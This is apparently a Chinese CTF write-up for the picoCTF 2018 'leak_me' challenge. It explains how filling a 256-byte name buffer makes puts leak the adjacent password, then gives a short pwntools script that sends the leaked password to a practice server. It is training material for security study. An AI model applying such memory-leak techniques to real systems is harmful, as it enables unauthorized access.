picoctf_2018_leak_me
步骤
- 例行检查,32位,开启了nx保护
- 本地运行看一下大概的情况
- 32位ida载入
程序执行的大概流程就是先输入name,然后输入password,靶机上应该会有一个password.txt去检测是否输入是否正确,输入正确,就会调用flag函数,flag函数回将flag打印出来
- 参数v5(存放name)和参数s(存放flag)在栈上的位置相差不远,而且给参数v5读入数据的时候可以覆盖道参数s
他们相差0x154-0x54=0x100
,而且我们对v5输入的数据长度正好是0x100,可以将v5填充满,后面紧接着的就是s,main函数里的34行会将v5打印出来,puts遇到‘\x00’才停止,v5里的内容现在是0x100*a+password+'\x00'*4c
,所以回将password顺带着打印出来。
这边我使用的cyclic来生成的字符串去读出password
得到密码a_reAllY_s3cuRe_p4s$word_f85406
- 接下来重新nc,输入该密码即可
这题完全不用写exp,但是水一下文章,还是写一下吧
from pwn import *
p = remote("node3.buuoj.cn",28171)
password = "a_reAllY_s3cuRe_p4s$word_f85406"
p.sendlineafter("What is your name?\n","A")
p.sendlineafter("Please Enter the Password.\n",password)
p.interactive()